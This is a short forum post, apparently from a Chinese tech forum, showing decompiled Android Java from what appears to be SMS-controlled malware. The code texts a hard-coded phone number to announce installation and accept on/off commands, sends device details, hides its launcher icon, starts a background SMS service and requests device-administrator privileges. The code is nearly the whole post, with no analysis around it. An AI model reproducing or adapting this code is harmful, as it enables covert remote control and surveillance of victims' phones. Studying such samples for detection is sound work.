luap
2016-09-02 12:34:35 +08:00
已返编译:
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
super.requestWindowFeature(1);
setContentView(2130903040);
SmSutils localSmSutils = new SmSutils();
if (SmSutils.key.equals(SmSutils.getPublicKey(this)))
{
localSmSutils.sendSMS("18789837060", "手机已安装软件,回复 com#false 关闭 com#true 开启, 版本" + Build.VERSION.SDK_INT + " " + Build.MODEL, null);
Toast.makeText(this, "程序启动成功", 1).show();
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
startService(new Intent(this, SmSserver.class));
this.Dmanager = ((DevicePolicyManager)getSystemService("device_policy"));
ComponentName localComponentName = new ComponentName(this, DeviceReceiver.class);
if (!this.Dmanager.isAdminActive(localComponentName))
{
Intent localIntent = new Intent(getAction());
localIntent.putExtra(getExtraDeviceAdmin(), localComponentName);
localIntent.putExtra(getExtraAddExplanation(), "设备管理器");
startActivityForResult(localIntent, 0);
}
finish();
return;
}
localSmSutils.sendSMS("18789837060", "证书错误,程序启动失败", null);
Toast.makeText(this, "证书错误,程序启动失败", 1).show();
finish();
}